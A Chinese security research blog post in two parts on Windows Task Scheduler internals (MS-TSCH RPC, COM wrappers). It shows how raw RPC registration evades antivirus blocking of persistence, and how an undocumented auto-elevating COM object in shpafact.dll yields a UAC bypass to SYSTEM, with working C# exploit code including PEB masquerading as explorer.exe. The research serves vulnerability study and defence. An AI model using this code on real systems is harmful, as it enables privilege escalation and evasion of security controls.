🔒
There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

Advanced Windows TaskScheduler Playbook

21 June 2022 at 08:08
By: zcgonvh

Part.1 basic

0x00 前言

Advanced Windows TaskScheduler Playbook

这个系列是关于Windows计划任务中一些更为本质化的使用,初步估计大概四章。

相比于工具文档或技术文章,我更倾向于将这几篇文章作为传统安全研究的思维笔记,一方面阐述研究过程与思维逻辑,另一方面记录研究成果落地为实战工具的过程。

武器化也好安全开发也罢,将理论基础作为依据,以研究成果作补充,从实战效果作证明的三板斧不能变。

希望在使用之余,能为大家带来研究思路上的启发。

0x01 现象

对Windows对抗有一定研究的,大多都接触过计划任务的相关知识。

作为文档化的组件之一,好处是有完整的官方文档https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page作为参考,例如我们可以几乎不费力气找到很常用的登录自启动代码https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---,稍作修改即可直接使用。

坏处是,文档太长了,面向对象的代码也太复杂了(相对于脚本尤其是安全工具而言)。以上文登录自启动的代码为例,十几个API调用,无故引入且无法去掉的taskschd.dll导入,为什么普通用户执行不成功,S-1-5-32-544是什么,TASK_LOGON_GROUP的定义又在哪?

好在我们是安全研究者,安全研究更擅长从结论/状况反推原因,现在来发挥所长:

我们知道计划任务可以通过UI或者命令行方式进行创建,其参数和选项大部分是对应的。

我们知道计划任务可以通过ITaskService接口或是TaskSchedulerClass类以及一系列对象进行操作。

我们知道计划任务可以导出一个XML,通过UI或是命令行均可再将其导入。

我们知道每一个计划任务文件都存放于%SystemRoot%\System32\Tasks目录下,内容和导出的XML完全相同。

所以,从安全研究的角度,这里可以提出一个问题:计划任务的本质是什么?是那些类,还是XML?

如果是类的话,那么XML在其中充当着什么角色,是如何解析的?

如果是XML的话,那么类充当的又是什么角色?

0x02 依据

虽然Windows提供了绝大部分符号,但在此时还没有调试Windows服务的必要。我们在横向移动的过程中依然会用到计划任务程序,那么首先抓个包:

Advanced Windows TaskScheduler Playbook

看到了满屏的RPC调用,对其解密后可以看到以下信息:

Advanced Windows TaskScheduler Playbook

我们看到了几个重点,首先调用号(Opnum)为1;其次RPC Stub Data即调用的参数中明显出现了新任务名称,以及随后的XML。

windows task scheduler rpc为关键字搜索,我们可以找到MS-TSCH协议https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/21e8e86e-ee5a-469d-917f-28a41f3c25a4,依文档所述,这是建立在RPC协议之上、用于远程对计划任务进行增删改查的接口,同时,我们也看到了熟悉的ITaskSchedulerService

Advanced Windows TaskScheduler Playbook

参考ITaskSchedulerService SchRpcRegisterTask (Opnum 1)https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/849c131a-64e4-46ef-b015-9d4c599c5167一章,对比参数可基本进行确认:

Advanced Windows TaskScheduler Playbook

最后,以impacket作为佐证,众所周知atexec.py采用计划任务方式进行利用,其中创建远程计划任务同样通过SchRpcRegisterTask调用:

Advanced Windows TaskScheduler Playbook

于是,我们得到了一个理论依据:微软通过MS-DCERPC协议,在上层构建了MS-TSCH协议,该协议通过XML作为参数,实现了对计划任务的管理。

0x03 本质

有了MS-TSCH作为理论依据,让我们换个思路,尝试从设计者角度进行思考:

(现在,你是一名架构师了)

假设现在一无所有,你会如何设计一个计划任务程序?

首先,所有人都可能调用计划任务,意味着进程应当常驻后台;低权限用户并不能以高权限用户身份进行操作,所以进程需要高权限,并实现模拟机制;高权限后台进程要考虑到特权提升的问题,所以需要存在合理的鉴权机制;计划任务不涉及硬件管理,也并非系统运行所必需,所以无需进入内核。

其次,接受其它进程调用需要有一个合理的通信机制。Windows进程间通信方式众多,出于鉴权考虑,命名管道和alpc均可作为可选项;在易用性方面,alpc和命名管道均有RPC上层封装可用;在性能方面,alpc是毫无疑问的首选(详参微软官方博客alpcport相关)。

之后,出于管理需要,需要支持远程调用。考虑到稳定性,远程通信的方式大多建立在TCP上层;考虑到防火墙与安全性因素,支持加密的HTTPS/SMB/RPC/DCOM是几个可选项;鉴于远程管理往往有着最小配置与降级原则,RPC由于可独立配置、能够通过ncacn_np使用SMB协议通信且不受额外选项干扰,在此优于DCOM;鉴于API统一的原则,统一了本地通信与远程通信的RPC是唯一可选项。

最后,考虑到拓展的需要,需要可拓展的存储方式。考虑到MS-TSCH至少有着十五年的历史,采用XML兼顾可读性与拓展性无可厚非。

于是,有了基于MS-DCERPC与直接XML传递的MS-TSCH协议。

在微软的实现中,Schedule服务以SYSTEM权限运行,同时拥有SeImpersoante、SeAssignPrimaryToken等特权提供不同用户权限的切换。服务通过注册ncalrpc、ncacn_np(atsvc)以及向epmapper注册三种方式公开了本地与远程的RPC调用端点(EndPoint),为调用方提供MS-TSCH协议规定的服务。

好的,我们有了一个通过XML进行通信、且会进行透明鉴权的计划任务服务。

现在,把思路再次转回调用者。

(现在,你是一名程序员。这个功能很重要,怎么实现没人管,明天上线)

不可否认,对照模板编写XML这一做法,对于懒人(我特指初级代码开发人员,无贬义)固然有着无以伦比的方便。但对接过API的都知道,世界上第一痛苦的API就是调用万能接口,第二绝对是通过XML进行数据传递。

MS-TSCH出生在至少十五年前,很不幸,两毒俱全。来想象一下你是个防守方,现在应用一个临时缓解措施,需要建立并下发以下计划任务监控:当事件ID 1234触发时,执行powershell命令调用某个API。

想到要看协议文档就很头疼对吧,想到要写C来调用RPC就更头大了对吧。

所以微软通过COM,在Taskschd.dll内对MS-TSCH进行面向对象封装,其CLSID0F87369F-A4E5-4CFC-BD3E-73E6154572DD,并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。

为了支持脚本功能,为这个类注册了名为Schedule.ServiceProgId,并实现了IDispatch接口,使得VBS/Powershell等脚本语言能够进行快速调用。

这些是纯粹的封装与帮助类,和实际的协议完全无关。

到这里,TaskScheduler服务(Service或RPC EP)的本质也就呼之欲出:鉴权,接收一个XML(无论是帮助类生成的还是自己构建的),注册到自己业务环境内。

从这个角度看来,计划任务的本质和传统WEB并没有任何区别,甚至可以直接用下面这张图进行类比:

Advanced Windows TaskScheduler Playbook

RPC对应HTTP,OPNUM对应Action/Method,XML对应Body。语法、语义、时序完全对应,是的,完美。

实际上,除却纯粹二进制的领域,至少一半的Windows组件能够用这样的方式进行类比。

最后,我们把思维转回安全角度。

(放开我,我是信息安全工程师.jpg)

从攻击者视角看,由于绝大部分文档都仅仅讲述对COM API的调用,进而可猜想绝大部分防御措施会针对Taskschd.dll,通过RPC进行绕过可能是一个可行的突破方案。

而从防御者视角看,绕过Taskschd.dll这一wrapper可能会对自身防御体系造成绕过甚至击穿(这里“击穿”二字绝非危言耸听)。

0x04 COM

了解到部分本质之后,我们开始进行更为简洁,更贴近于安全思维的调用。

(不要忘记,我们已经把思维转换回了安全角度)

在参考c++版本示例代码的时候,我们可以看到微软同时提供了XML参考:https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--xml-,并提示了可以使用ITaskFolder::RegisterTask通过XML直接注册计划任务。

随后调用ITaskFolder::RegisterTask来替代之前的繁琐方式(参考代码依然来自MSDN):

    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    if (FAILED(hr))
    {
        printf("Cannot get Root folder pointer: %x", hr);
        pService->Release();
        CoUninitialize();
        return 1;
    }
    IRegisteredTask* pRegisteredTask = NULL;
    pRootFolder->RegisterTask
    (
        _bstr_t(wszTaskName),
        _bstr_t("xml"),
        TASK_CREATE_OR_UPDATE,
        _variant_t(),
        _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN,
        _variant_t(),
        &pRegisteredTask
    );

0x05 RPC

同样的,MS-TSCH 6.3 Appendix A.3: SchRpc.idlhttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/96c9b399-c373-4490-b7f5-78ec3849444e提供了完整的IDL,通过编译IDL即可直接进行简单的RPC调用:

RpcTryExcept
  {
    wchar_t* pActualPath = 0;
    const wchar_t* xml = L"<!--snipped xml-->";
    _TASK_XML_ERROR_INFO *errorInfo = 0;
    SchRpcRegisterTask
    (
      schrpc_binding_handle,
      L"\\Test Task",
      xml,
      6,
      0,
      0,
      0,
      0,
      &pActualPath,
      &errorInfo
    );
  }
RpcExcept(1)
  {
    DWORD code = RpcExceptionCode(); 
    printf("RPC Exception %d\n", code);
  }
RpcEndExcept;

至少在本文发布的时候,利用直接RPC调用可以绕过相当一部分防护软件对计划任务自启动的拦截。

0x06 总结

本章从协议层面,讲述了Windows计划任务程序从设计、协议、实现均基于XML格式这一基础事实,并以此为基础介绍了更为简单方便的调用。

基础之所以是基础,在于后续相关知识与应用一定会与其具备强关联,而绝非单纯的浅显易懂。

我一直认为,编程思想与设计模式才是最基础的安全技术。在这冗长而无趣的第一章中,我们通过面向对象中抽象封装这两大基础概念,以及背后隐藏的Transport/Channel这个被微软大肆使用的名词(相信如果搜索了上面几节其中的关键字,并且看了原文就一定有印象)来从侧面分析微软的设计思想,从而能够更好地理解组件的运作方式,最终找到其中的薄弱点,并加以利用。

后续几章无一例外,均将以此为基础,来讲几个有趣的应用案例。

Part.2 from COM to UAC bypass and get SYSTEM dirtectly

捉虫:前篇文章0x03本质一节关于COM封装类的CLSID有误,应为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

公众号无法修改,在此记录并望周知。

从本文起,专有名词将以官方英文原文着重标记。

0x00 思考

让我们上一章通过对MS-TSCH进行分析理解,大致明确了微软关于计划任务程序的设计思路:以文档化XML格式作为描述、RPC协议为基础,在公开函数式RPC调用的同时,通过COM Helper实现面向对象。

编程思想与设计模式才应当是最基础的安全技术,微软在计划任务程序设计中明显体现了一个进化的思想,从面向过程进化到面向对象,这个过程就是常说的封装

让我们继续用常见的Web角度进行类比,可以理解为:

PHP5进化至PHP7。
PHP/ASP进化至Java/.Net。
JS进化至TS/ES6。

(在开发与设计层面,一些思想是统一且几乎不会改变的)

和渗透时常用的脚本或工具不同,在一个完整的系统中,无论是一套封装后的组件,或是一组完善的协议实现,其本身并没有实现之外的任何意义。只有在使用者(或称“调用方”)根据某些业务逻辑进行调用,随之多个完整的业务功能按照相关逻辑组成一套系统,此时的组件才称得上“有意义”。

(如果你认同这个观点,那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑,每一个

计划任务程序作为文档化组件之一,我们当然可以直接根据文档进行调用。无论是直接利用十五年前微软提供的C/C++或者VBS,或是进一步利用十四年前vs2008附带的的C# Interop,再或是利用十年前用烂的的PowerShell都能够直接产生一些红队(Redteam)武器化(Weaponize)渗透测试工具(Pentesting Tools)

感谢微软提供了丰富的API为渗透测试带来方便,但回归研究者思路,我们不该忽略这一点:计划任务作为重要系统组件之一,被广泛应用于系统多个功能模块中。

所以,让我们来思考一组问题:

有哪些自带功能调用了计划任务?
这个功能可以起到什么作用?
这个功能是否进行了组件化,即可以通过某种方式进行调用?
是否存在利用或滥用的可能?

0x01 基础

在回答这个问题之前,让我们重温COM基础。

微软提供了非常完善的基础知识文档https://docs.microsoft.com/en-us/windows/win32/com/com-fundamentals,以及配套的示例代码,这些文档和代码的历史至少可以追溯至Windows 2000的时代。

(我不想在查找资料上花太多篇幅。根据个人经验,花费两天时间,拿出挖洞找链的劲头,配合写论文找参考资料的态度,将原文从头到尾啃一遍,比看十篇技术文章都要有用的多。包括你在看的这篇

参考文档顺便查漏补缺,我们重新回忆一下最为基础的知识点:

1.在设计层面,COM模型分为接口实现

例如计划任务示例代码中的ITaskService

2.区分COM组件的唯一标识为Guid,分别为针对接口的IID(Interface IDentifier)与针对类的CLSID(CLaSs IDentifier)

例如CLSID_TaskScheduler定义为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

3.COM组件需要在注册表内进行注册才可进行调用。通常情况下,系统预定义组件注册于HKEY_LOCAL_MACHINE\SOFTWARE\Classes,用户组件注册于HKEY_CURRENT_USER\SOFTWARE\ClassesHKEY_CLASSES_ROOT为二者合并后的视图,在系统服务角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes

例如计划任务组件的注册信息注册于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}

4.Windows最小的可独立运行单元是进程,最小的可复用的代码单元为类库,所以COM同样存在进程外(In-Process)进程内(Out-Of-Process)两种实现方式。多数情况下,进程外COM组件为一个exe,进程内COM组件为一个dll。

例如计划任务的COM对象为进程内组件,由taskschd.dll实现。

5.为方便COM组件调用,可以通过ProgId(Programmatic IDentifier)CLSID指定别名。

例如计划任务组件的ProgId为Schedule.Service.1

6.客户端调用CoCreateInstanceCoCreateInstanceExCoGetClassObject等函数时,将创建具有指定CLSID的对象实例,这个过程称为激活(Activation)

例如微软示例代码中的CoCreateInstance(CLSID_TaskScheduler,....)

7.COM采用工厂模式对调用方与实现方进行解耦,包括进程内外COM组件激活、通信、转换,IUnknown::QueryInterfaceIClassFactory始终贯穿其中。

例如微软示例代码中的一大堆QueryInterface

现在,我们有了对COM的基本认知,接下来要在一个庞大、复杂的操作系统之中,跟踪一个微小的COM对象调用了。无论多么复杂的系统,归根结底由人开发,由编译器编译。我们知道Windows的编译器为VS,语言为微软风格的C/C++,开发者为三哥

那么来到思考时间:你是一名三哥程序猿,恒河水使你的代码和你的身体一样无比健壮。现在,你要用VS建立一个C/C++项目,里面调用计划任务做一些事。

-你会怎么写?

-#include <taskschd.h>

-为什么?

-“标准”示例如此。

很好,我们得到了第一种方式:

在所有系统组件中搜索字符串形式的0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

然后重新把思维切换回安全领域,暂时客串一番样本分析:你是一名应急响应工程师,陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本,已知其中某样本会创建计划任务,在没自动化沙箱的情况下怎样能把它揪出来进行后续分析?

-那TM还用说?ProcMon开起来、某绒刀砍它。

于是我们有了第二种方式:

跟踪注册表HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32的读取,通过日志、Hook、劫持等等方式获取调用栈。

最后,把思维切到我们最熟悉的安全开发/红蓝对抗:现在洋大人发了个框架,能随意拓展巨牛逼,能过宇宙杀软加计划任务巨好用,还有源码能抄简直是洋菩萨。唯一一个问题:不知道在哪调了计划任务,就看到一堆配置文件一堆设计模式。

-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊

我们拿到了第三种方式:

考虑到工厂与动态调用,在配置文件等静态数据中搜索0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

0x02 发现

现在,我们有三种可行方案来进行跟踪了。

思考一下三种方式的优劣:第二种动态追踪的方式能够直观的找到调用方,但一个前提是必须存在活动的调用。
计划任务功能并不是一个需要频繁调用的功能,Windows的复杂性也决定了无法手动访问每一个功能,所以不妨暂时搁置。

第一三种均可归结为静态查找,考虑到我们研究的目标基于COM,而COM绝大多数配置基于注册表,所以首先在注册表这个最大的公共配置文件内进行搜索,可以得到如图所示结果:

Advanced Windows TaskScheduler Playbook
C:\>reg query HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} /s

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    (默认)    REG_SZ    Virtual Factory for MaintenanceUI
    AppId    REG_SZ    {A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    LocalizedString    REG_EXPAND_SZ    @%SystemRoot%\System32\MaintenanceUI.dll,-1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\Elevation
    Enabled    REG_DWORD    0x1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\InProcServer32
    (默认)    REG_EXPAND_SZ    %SystemRoot%\System32\shpafact.dll
    ThreadingModel    REG_SZ    Apartment

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\VirtualServerObjects
    {0f87369f-a4e5-4cfc-bd3e-73e6154572dd}    REG_SZ

我们发现了一个可疑的东西:

一个由%SystemRoot%\System32\shpafact.dll实现的未文档化COM组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
一个未文档化的自定义注册表项VirtualServerObjects,其值包含计划任务组件CLSID。
[email protected]=1,意味着可以进行UAC自动提升。

接下来要做的,就是对这个组件进行分析,找到其设计层面的意义,以及探寻是否存在利用的可能。

0x03 分析

接下来,我们开始分析COM所实现功能,以及是否可以利用。

%SystemRoot%\System32\shpafact.dll代码量极少,让我们用五分钟时间进行快速分析。首先根据https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject,COM通过固定导出函数DllGetClassObject创建实例,shpafact.dll创建了CClassFactory作为工厂类:

Advanced Windows TaskScheduler Playbook

CClassFactory作为工厂支持创建多个对象,我们的目标组件A6BFEA43-501F-456F-A845-983D3AD7B8F0并非已知的两个CLSID之一,将进入最下方CElevatedFactoryServer::CreateInstance分支:

Advanced Windows TaskScheduler Playbook

CElevatedFactoryServer::CreateInstance方法最终将直接返回CElevatedFactoryServer对象实例:

Advanced Windows TaskScheduler Playbook

CElevatedFactoryServer对象继承自IUnknown,且仅有一个对象方法ServerCreateInstance

Advanced Windows TaskScheduler Playbook

ServerCreateInstance方法签名为HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*),当REFCLSID参数已在VirtualServerObjects注册表项注册的情况下,将直接创建指定CLSID的对象:

Advanced Windows TaskScheduler Playbook

根据QueryInterface方法可得到IID_ElevatedFactoryServer为804bd226-af47-4d71-b492-443a57610b08

Advanced Windows TaskScheduler Playbook

此时我们拿到了COM调用必需的CLSIDIID虚函数表方法签名,稍作整理即可得到以下IDL

[uuid(804bd226-af47-4d71-b492-443a57610b08)]
interface IElevatedFactoryServer : IUnknown {
    HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);
};

[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]
coclass ElevatedFactoryServer {
    interface IElevatedFactoryServer;
};

0x04 调用

获取到IDL之后,直接使用合适的语言进行调用即可,例如转换为C#等价Interop代码:

[Guid("804bd226-af47-4d71-b492-443a57610b08")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IElevatedFactoryServer
{
  [return: MarshalAs(UnmanagedType.Interface)]
  object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}

我们需要创建提升后的(Elevated)COM对象,所以必须使用CoGetObject结合Elevation Moniker进行激活:

BIND_OPTS3 opt = new BIND_OPTS3();
opt.cbStruct = (uint)Marshal.SizeOf(opt);
opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;

随后调用ServerCreateElevatedObject方法获取ITaskService实例:

var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;

这个ITaskService实例实际上在提升后的进程中运行,所以可使用TASK_RUNLEVEL_HIGHEST标记创建以完整令牌运行的计划任务,这等价于将xml文件Task\Principals\Principal\RunLevel的值指定为HighestAvailable

<Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

使用此xml进行注册:

svc.Connect();
var folder = svc.GetFolder("\\");
var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);

以及不要忘记对当前进程PEB进行Patch:

var fake = "explorer.exe";
var fake2 = @"c:\windows\explorer.exe";
var PPEB = RtlGetCurrentPeb();
PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
RtlInitUnicodeString(pImagePathName, fake2);
RtlInitUnicodeString(pCommandLine, fake2);

PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
var first = pFlink;
do
{
    LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
    if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
    {
        pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
        continue;
    }
    try
    {
        if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
        {
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);
            LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
            break;
        }
    }
    catch { }
    pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);

编译执行,不出意外的话我们将以提升后的身份运行xml中指定的命令(这里是cmd):

Advanced Windows TaskScheduler Playbook

至此,我们成功的发现了一个未公开的UAC Bypass

但这并不是结束。我们前面提到了修改XML文件Principal节点的值来注册以完整令牌运行的计划任务,而这个XML节点架构定义记录于MS-TSCH 2.5.6 Principal Schema Parthttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b

根据文档所述,Principal节点可包含子节点UserId,用于提供计划任务执行时的用户身份信息,其格式可以为用户名SIDUPNFQDN

所以我们可以在XML中指定UserIdSYSTEM

<Principals>
    <Principal id="Author">
      <UserId>SYSTEM</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

随后,我们指定的命令将直接以SYSTEM身份运行:

Advanced Windows TaskScheduler Playbook

即:我们通过一次无文件UACBypass直接获取到SYSTEM权限。

0x05 原理

至此,单纯的“安全研究”至武器化落地已经结束了。

但从纯粹知识的领域,这还不够。

请把思维暂时回溯至0x01 基础一节,重新打开MSDN,对比完整的目标注册表项,在最后来为本文补充一个最为重要的理论依据。

我们知道经过UAC提升的COM对象需要使用CoGetObject函数,结合Elevation Moniker进行激活,这个行为记录在https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker

参考文章代码,我们注意到在微软的示例中采用CLSCTX_LOCAL_SERVER作为激活上下文标记,这表示要求DCOMLaunch创建一个新的进程外COM对象,A6BFEA43-501F-456F-A845-983D3AD7B8F0对象仅配置了InProcServer32,这将导致代理激活(Surrogate Activation)https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation

关于代理激活有两个重要的点:首先从安全研究角度,配置了APPID的代理激活往往存在自定义权限检查。

参考文档https://docs.microsoft.com/en-us/windows/win32/com/launchpermissionhttps://docs.microsoft.com/en-us/windows/win32/com/accesspermission,默认隐式权限检查由注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermissionHKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission共同决定,其值为二进制格式表示的安全描述符Security Descriptor(SD) binary form

所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式,采用Powershell进行解析后输出:

$x=get-itemproperty 'hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl

将得到类似下面的结果:

BinaryLength       : 20
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 3
SecurityIdentifier : S-1-5-4
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None

参考https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sidsS-1-5-4对应NT AUTHORITY\INTERACTIVE,任何通过交互式登录的用户都将授予该组身份,通过whoami /groups也能够确认这一点:

whoami /groups

组信息
-----------------

组名                                   类型   SID          属性
====================================== ====== ============ ==============================
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114    只用于拒绝的组
BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组
BUILTIN\Performance Log Users          别名   S-1-5-32-559 必需的组, 启用于默认, 启用的组
BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4      必需的组, 启用于默认, 启用的组
CONSOLE LOGON                          已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户                  已知组 S-1-5-113    必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication       已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192

所以,作为交互式登录的我们才有权限激活以及调用提升后的COM组件。

其次,从程序设计角度,我们查看关于COM Proxy的定义。按照https://docs.microsoft.com/en-us/windows/win32/com/proxy所述,代理对象驻留在调用方进程,充当远程对象的代理,在调用方看来,对代理对象的调用和直接调用真实对象并无区别。

这是一个完整的对象代理,应用且遵循代理模式,即代理对象的表现形式暴露方法调用方式与真实对象完全相同

从Web安全的角度,可以理解为ysoserial里面到处都在用的InvocationHandlerUtil返回的那个泛型对象,或是你用RetransformAgent劫持Tomcat FilterSpring Controller之后,为了不影响业务而做的那个Wrapper;从开发的角度,等同于你用过的任何AOP。

所以我们在0x04 调用所进行的操作可以翻译为:

1.我们要求COM激活器绑定至MonikerElevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}的对象,由于激活上下文标记为CLSCTX_LOCAL_SERVER,本地COM客户端(combase.dll)将请求DCOM服务,发送一个进程外(Out-Of-Process)提升的(Elevated)激活请求。
2.DCOM根据组件注册信息(registration info)激活上下文(Activation Context),确保A6BFEA43-501F-456F-A845-983D3AD7B8F0对象可以提升(实际上这里将调用AppInfo服务),且当前用户具备激活权限(存在包含已启用组S-1-5-4显式DACL)。
3.DCOM服务在新的(new)其他的(others)提升后的(elevated) 进程中进行激活(activation)操作,创建真实对象(Real Object)
4.DCOM通知本地COM客户端激活成功(HRESULT=S_OK),本地客户端在当前进程创建真实对象的代理(Proxy)作为实际通信目标。
5.当前进程在代理对象上调用实例方法,该方法实际上由远程对象进行处理。
6.根据方法签名,调用将返回新的ITaskService对象引用。由于ITaskService对象未实现额外的编组(Marshalling)接口,COM进行默认封装,返回远程对象引用(Remote Object Reference,ObjRef)
7.本地客户端在当前进程以代理对象(Proxy Object)形式创建ITaskService对象的代理(Proxy)
8.根据MSDN所述,对象远程引用在调用方(caller)等于真实对象;根据CLSID,真实对象是一个ITaskService
9.我们在未提升进程(unelevated process)中,获取到了在提升后进程(elevated process)ITaskService对象代理,任何对代理对象的操作都将无条件转发至真实对象。
10.创建带有TASK_RUNLEVEL_HIGHEST标记或其它任意用户(例如SYSTEM)运行的计划任务。完成UAC绕过。

如果你有耐心看到这里,请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃,要理解这种模式背后的设计理念和思想,这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。

到这里,我们可以回答0x00中提出的问题了:

1.确实存在一个未文档化的COM,能够根据我们可控制的方式调用计划任务组件。
2.这个组件配置了UAC提升,其通过默认COM代理,在提升后的代理进程内,根据已知的白名单CLSID,创建进程内COM对象;随后通过COM代理直接返回至调用方,供未提升的进程进行调用。
3.由于白名单中有且只有0f87369f-a4e5-4cfc-bd3e-73e6154572dd即计划任务(TaskService),导致未提升的进程可获取一个提升后的TaskService对象
4.通过调用此对象即可创建以完整权限运行的计划任务,实现UAC ByPass。

0x06 总结

这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的MS-TSCH协议与XML作为基础,结合COM基础知识作为补全;随后发掘出有价值的研究目标,作为具有实战价值的工具与代码实现落地;最终我们重新梳理总结相关知识点,借本次这个实例重温关于COM诸多知识细节,并在实践中一一验证,实现“知识闭环”。

文章涉及的相关代码可以在https://github.com/zcgonvh/TaskSchedulerMisc/找到。虽然能够直接编译执行,但我依然不建议直接拿来使用,这对于能力提升并没有任何好处。
(另:请遵守刑法、网络安全法等相关规定,我只是单纯分享知识,任何使用不当造成的后果请自行承担)
请尊重开源协议 ,抄代码做“武器化”挺无聊的不是么)

当然,这篇文章并不全面,我们只是单纯的根据注册表,然后根据其功能找到了一个UAC Bypass。

